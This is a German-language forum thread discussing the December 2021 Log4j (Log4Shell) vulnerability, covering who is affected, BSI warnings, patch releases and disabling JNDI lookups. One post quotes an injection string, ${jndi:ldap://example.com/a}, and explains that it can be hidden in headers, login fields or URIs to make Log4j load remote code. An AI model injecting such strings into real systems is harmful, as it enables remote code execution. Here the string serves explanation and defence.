Entschuldigt mein Unwissen:

Was erfordert die Log4j-Lücke für Handlungen von einem User?

https://www.heise.de/news/Roter-Alarm-Log4j-Zero-Day-Luecke-bedroht-Heimanwender-und-Firmen-6292863.html

Und ja: es sind _eben_ nicht bloß „global agierende Dienste“, die angreifbar sind:
„ Warnstufe Rot: Log4j-Zero-Day-Lücke bedroht Heimanwender und Firmen“ (Headline obigen Artikels)

Was tun?
Alles offline setzen?
@mactechnews?

Betrifft nur Server. Du kannst nur beten, dass die Admins die Updates so schnell wie möglich einspielen.

1. Links richtig benutzen
2. Den Tips in deinem verlinkten Beitrag folgen; "Das BSI empfiehlt, zur Verfügung stehende Updates sofort einzuspielen und qualifiziertes IT-Personal einzusetzen, um kritische, vor allem von außen erreichbare Systeme engmaschig zu überwachen. "

M@rtin
Falsch. Wie in dem verlinkten Heiseartikel steht sind auch manche Geräte betroffen, die Heimanwender oder KMUs nutzen.

Es sollen auch QR-Scanner oder kontaktlose Türschlösser betroffen sein. Manches läßt sich vielleicht vorübergehend nicht nutzen, aber bei vielen Dingen kann von uns Nutzern keiner sagen, welche Softwarekomponenten da drin sind, deshalb ist es nahezu unmöglich, um alle betroffenen Produkte einen Bogen zu machen.

Gent
Was du machen kannst, ist falls verfügbar Updates installieren. Vorübergehen offline sein kann manchmal auch erholsam sein, und gerade ein arbeitsfreier Tag bietet sich dafür doch an.

OK, du hast recht. Mein Statement bezog sich noch den Artikel bei heise.de vom Freitag:
Da war nur von öffentlich zugänglichen Servern die Rede, u.A. von iCloud, aber auch Amazon die Rede.
Es scheint aber ein viel tiefergreifendes Problem zu sein...

Hier ein Artikel, der etwas genauer erklärt, was da passiert (LunaSec), und mit Erklärung, wie eigene Server getestet werden können.
Laut BSI Apache, VMWare und Unifi betroffen

Auch Howard Oakley etwas dazu geschrieben:
Apache selbst war demnach nicht unmittelbar betroffen, jedoch damit gebaute Systeme, die Log4j einsetzen.
Bei Apples iCloud wurde die Lücke im Laufe des 10. Dezembers oder am 11. in der Frühe behoben.

Danke für den Hinweis! Aber woher hast du das?

Das kommt aus Howard Oakleys Artikel. Der hat die Info von Sicherheitsforschern.

1. Links sind les- und kopierbar. Und offensichtlich, wie weiter unten, beziehst Du Dich mit 2. nicht auf meinen Link - falsch im BB oder nicht, egal: falscher weil veralterter Stand.
2. BSI ruft nicht „umsonst“ red alert aus - und die von Dir beschriebene Hilfe gilt eben in Bezug auf mein / Dein 1.): richtige, aktuelle Quelle.



1. Korrekt, wie oben dargelegt (und auch angenommen, no offense, dam_j!)

2. (@maculi) nicht hilfreich, leider. Wenn große Dienste wie iCloud (etc) betroffen sind hilft mir in meinem KMU das „offline gehen“ erstmal gar nix. Wenn man die ganzen Listen (u.a. https://github.com/YfryTchsGD/Log4jAttackSurface , yeah, dam_j, ich bräuchte [url] https://github.com/YfryTchsGD/Log4jAttackSurface[/url] hier) abgrast ind die Tragweite des Ganzen erfasst: ist es eben genau _nicht_ so, das „spiel mal Updates ein, dann passt‘s wieder“ den Laden am Laufen erhält.

Drum, wie im Eingangspost angesprochen: @mactechnews, sammelt doch mal den aktuellen Wissensstand und haut da eine Meldung dazu raus.

Gsusu, das Ding ist grad mal drei Tage alt und Diskussionen sind wie „jeder kennt sich mit Viren jetzt aus“.
Ne, tu ich zumindest nicht. Und der erste Sprung, haha, muss nicht der Weißheit letzter Schluss (aber zumindest: ein Andang sein).
Aber bitte keine „lies mal genau, tu weiter, passiert nix“-Ansagen. Die hab ich drei Mal die Woche als Rand-Demo auf der Strasse vorm Haus.

Back to Subject:

Log4j: was kann ein Problem in macos - 10.14 oder macos 11 sein?
Dazu braucht es Aufklärung.

Danke.

Back to Subject:

Log4j: was kann ein Problem in macos - 10.14 oder macos 11 sein?
Dazu braucht es Aufklärung.

Danke.

Musst du von "außen" auf deinen Mac zugreifen? Nutzt du deinen Mac als Web-Server? Stellst du Dienste von deinem Mac ins Internet? Programmierst du Webseiten? Ich gehe mal davon aus: nein! Also ist das nicht relevant. Anders z.B. Logins auf Router oder andere Geräte in deinem Netz (z.b. NAS !!!) sind dann noch ein Problem, wenn diese die genannten Bibliotheken beim Login nutzen. VPN-Dienste sind wohl teilweise auch davon betroffen, was ganz übel ist, wenn die halbe Welt im Home Office steckt.

Das Problem ist wirklich groß und wurde schon am 9.12. entdeckt:
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
Log4j hat ein „Feature“, das Einträge in die Logdatei geparst werden. Syntax ist ${prefix:name} — aus dem o.g. Artikel:
„But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap://example.com/a}. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object.“

Über JNDI (Java Naming and Directory Interface) kann man alles mögliche laden lassen, natürlich auch Schadcode.

Der JNDI-Aufruf kann überall versteckt sein, selbst im HTTP-Header, denn der wird geloggt. Oder einfach als „Passwort“ bei einem Login. Oder codiert in einer URI, die man aufruft und die vom eigenen Router geloggt wird. Oder, oder, oder…

Der Angreifer muss also gar nicht im System sein, der muss nur eine Aktion ausführen, die ins Log geschrieben wird. Daher die Panik!

Eben hab‘ ich gelesen, dass z. B. Nextcloud gefährdet sein soll. Hab‘ ich noch nicht nachgeprüft, aber wenn das stimmt, haben viele (auch von hier) ein Problem — gerade wegen Homeoffice. Wo dieser Logger überall benutzt wird, muss erst noch ermittelt werden, aber bestimmt werden viele kleine Systeme (IoT und Co) nie einen Patch bekommen.

Nachtrag
Hier gibt es eine wachsende Liste der erkannten Server und Dienste:
https://github.com/YfryTchsGD/Log4jAttackSurface

Da ist auch Elastic Search aufgeführt, das ein Addon von Nextcloud ist.
Na Mahlzeit…

ich finde schon seltsam dass Mactechnews hier gerade so pennt. So ein red alert des BSI ist ja keine Kleinigkeit und selbst wenn man erst mal recherchieren muss kann man ja schon mal eine größere Öffentlichkeit darauf aufmerksam machen und deltailierte Infos nachreichen.

@Sideshow Bob Was erwartest Du für Infos? Für Endanwender besteht doch keinerlei Handlungsbedarf.

Inzwischen gibt es bei Heise einen neuen und recht detaillierten Bericht zum Thema: "Schutz vor Log4j-Lücke – was hilft jetzt und was eher nicht"

Blöde Frage: wie kann es passieren, das Einträge in ein Log derartig geparst werde, das sowas dabei raus kommt?
So tief kann man doch beim Programmieren gar nicht pennen? Oder ist das am Ende Vorsatz gewesen und irgendwer hat sich eine wunderbare Backdoor auf alles Mögliche im Internet verschafft?

Hier noch ein lesenswerter Artikel bei Golem: Warum Log4Shell so gefährlich ist und was (nicht) hilft

Das ist Absicht. Featuritis.

Bei vielen Anwendungen von Logging ist sogenanntes "Enrichment" der Daten ein valider Anwendungsfall. Ein einfaches Beispiel wären z.B. Logs von Zugriffen auf Systeme, bei denen dann IP-Adressen durch per DNS nachgeschlagene Hostnamen ersetzt werden.

Was ich für einen eklatanten Fehler halte, ist dies im Logging-Framework selbst zu tun. Das muß nicht sein, und wenn man das auch noch mit einem so generischen Schema wie JNDI (das mehr oder weniger alles einbinden kann, was nicht bei drei auf dem Baum ist), dann ist das gemeingefährlicher Unsinn. Wie wir gerade eindrucksvoll demonstriert bekommen.

Das ist, man kann es nicht deutlich genug sagen, kein Bug. Das ist einfach ein absolut unsinniges Feature.

Das stimmt nicht. Jedes Programm, das Java-Technologie verwendet und Protokolle mit der Bibliothek "log4j" anlegt, kann betroffen sein. Dazu können auch Programme gehören, die einfach nur fremde Dateien öffnen, wie z.B. das Grafikprogramm "Blender". Mit dem Anbieten von Internet-Diensten hat das nichts zu tun.

Auch das kann man nicht deutlich genug sagen.

Wenn man sich in der Java-Welt ein wenig umsieht, dann setzt gefühlt jedes Projekt log4j ein. Ich habe nach Bekanntwerden des Problems eine kleine Recherche in meinem beruflichen Umfeld gestartet und keine Applikation gefunden, bei der das log4j-Framework nicht im Einsatz ist, und bis auf einen Fall auch immer in der betroffenen Version 2 (log4j 1.x hat die Funktion nicht).

Der Unsinn ist leider per default eingeschaltet, kann aber wohl per Konfiguration abgeschaltet werden:

Alternativ hilft es auch, JNDI, falls nicht benötigt, komplett abzuschalten - ist per default natürlich auch an.

Wem das als Endanwender nichts sagt: Vorsorglich alles, was nach Java riecht (z.B. die Ubiquity-Management-Appliance) vom Netz nehmen. Das ist keine theoretische Lücke, ich habe in meinen Logs hier schon diverse Versuche gefunden, das Problem auszunutzen.

Ubiquity sollte schon korrigiert sein! Unbedingt Update laden!

Für den Fall, daß irgendjemand glaubt, die Kollegen, die das versaut haben, würden es im ersten Ansatz hinbekommen, das Problem zu lösen: Falsch.

Es gibt einen neuen Patch, den Release Notes zufolge haben sie die dämliche Funktion jetzt wirklich per Default ausgeschaltet. Der Patch von gestern war leider nicht vollständig:

Also wer gestern fleißig die 2.15 eingespielt und/oder JNDI-Lookups abgeschatet hat: Nochmaaal!

[Sorry für das Doppelposting, aber es ist wichtig]